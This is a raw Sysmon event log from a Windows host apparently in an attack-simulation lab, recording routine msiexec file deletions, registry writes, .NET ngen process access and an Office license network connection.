14:44:44.376{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-2C09-00000000F001}6904C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000043976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.367{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFD2FC6441E427604E.TMPMD5=A511DD0CD8199B85321AA3264FEE8B75,SHA256=FC927B3F164667BE0D066A12EC9A4CE86751DD6E90E4588FBD0D552339EAF803,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.365{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1BF526D50631B8EC1064A6568EAEA4BC,SHA256=815B8DAD2F2D0637C2C5BE548E74C26D99BC16AB9CDE9CE66EE2E3EC4D1BF532,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.363{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3135E2BBD1F12553.TMPMD5=887FE57F8AB259D7748D2C849094F1DE,SHA256=9A8CE09D8160A7183884966AA170E455EDC90A58D0E104AD8C80DFD4D233FA13,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.355{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b144.rbsMD5=5FEBBE88EFF2F21FEC02FA5BABA88113,SHA256=6B2467F4C2F87BEB298E6EB4F9A2172D4EFDC676DDD425CB789FA5620F1FEAE3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.352{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF14A2198A1DFDF98E.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.351{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF74BEA93B50617712.TMPMD5=6ACD198356C88A281D5B3C23E3DC0A04,SHA256=E918527C4E8190778545378C458CE1213CB655C05A96A0D905F61823C9E94058,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.348{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF7684DB7F1811C426.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.347{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF5A227E367F485CDC.TMPMD5=6ACD198356C88A281D5B3C23E3DC0A04,SHA256=E918527C4E8190778545378C458CE1213CB655C05A96A0D905F61823C9E94058,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.343{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSICD67.tmpMD5=AB28C1E766DAD1E8FF832E6187E01D94,SHA256=29882E3E2D01883377A29937F9D1084C206B00352D813361644D55918AC6305F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.332{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b709(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64)|C:\Windows\SysWOW64\msiexec.exe+49d4|C:\Windows\SysWOW64\msiexec.exe+4ed8|C:\Windows\SysWOW64\msiexec.exe+6af7|C:\Windows\SysWOW64\msiexec.exe+7873 10341000x800000000000000043966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.332{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b68a(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64)|C:\Windows\SysWOW64\msiexec.exe+49d4|C:\Windows\SysWOW64\msiexec.exe+4ed8|C:\Windows\SysWOW64\msiexec.exe+6af7|C:\Windows\SysWOW64\msiexec.exe+7873 10341000x800000000000000043965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.332{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64) 10341000x800000000000000043964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.332{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64)|C:\Windows\SysWOW64\msiexec.exe+49d4 10341000x800000000000000043963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.331{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+2995e(wow64)|C:\Windows\System32\shcore.dll+29cab(wow64)|C:\Windows\System32\SHELL32.dll+19a270(wow64)|C:\Windows\System32\SHELL32.dll+15b34f(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64)|C:\Windows\SysWOW64\msiexec.exe+49d4|C:\Windows\SysWOW64\msiexec.exe+4ed8|C:\Windows\SysWOW64\msiexec.exe+6af7 10341000x800000000000000043962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.331{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+19a262(wow64)|C:\Windows\System32\SHELL32.dll+15b34f(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64) 10341000x800000000000000043961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.331{7BD73061-6F59-613B-1A09-00000000F001}28166420C:\Windows\SysWOW64\msiexec.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+19a262(wow64)|C:\Windows\System32\SHELL32.dll+15b34f(wow64)|C:\Windows\System32\msi.dll+1bf530(wow64)|C:\Windows\System32\msi.dll+9dd4e(wow64)|C:\Windows\System32\msi.dll+9ef3b(wow64)|C:\Windows\System32\msi.dll+1d3de0(wow64)|C:\Windows\System32\msi.dll+151e39(wow64)|C:\Windows\SysWOW64\msiexec.exe+49d4 10341000x800000000000000043960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.327{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-2B09-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000043959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.323{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{C17F6DEF-D34C-4B75-97E1-D81062408B4A}\URLUpdateInfo(Empty) 13241300x800000000000000043958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:44.323{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{C17F6DEF-D34C-4B75-97E1-D81062408B4A}\PublisherMicrosoft Corporation 13241300x800000000000000043957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.323{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{C17F6DEF-D34C-4B75-97E1-D81062408B4A}\InstallSourceC:\ProgramData\Microsoft\DefaultPackMSI\ 10341000x800000000000000043956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.275{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-2B09-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.275{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-2B09-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000043954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.182{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7363D68EA5D5E282BFF9FB568F379985,SHA256=132AE7A5E72D9706BC60960348F9DC4EE3E1E561FE239E12415DDBFF776688F4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.054{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68587E8C2BD040CC80521C2A84B6E58F,SHA256=6D670E7814F35323E059B0042B58E35636B0501A159DEB0C816370A4470B1478,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.993{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3D09-00000000F001}1056C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.982{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3D09-00000000F001}1056C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.982{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3D09-00000000F001}1056C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000044206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.216{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59248-false93.184.220.29-80http 10341000x800000000000000044205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.883{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3C09-00000000F001}3388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.874{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3C09-00000000F001}3388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 